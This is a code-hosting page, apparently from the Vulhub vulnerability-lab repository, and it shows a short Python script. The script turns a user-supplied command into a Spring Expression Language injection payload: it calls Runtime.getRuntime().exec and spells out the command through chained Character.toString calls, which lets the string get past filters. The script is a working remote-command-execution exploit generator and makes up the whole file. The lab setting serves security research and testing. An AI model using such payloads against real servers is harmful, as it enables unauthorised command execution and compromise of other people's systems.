Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
12 lines
287 B
Python
12 lines
287 B
Python
#!/usr/bin/env python
|
|
|
|
message = input('Enter message to encode:')
|
|
|
|
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
|
|
|
|
for ch in message[1:]:
|
|
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
|
|
|
|
poc += ')}'
|
|
|
|
print(poc) |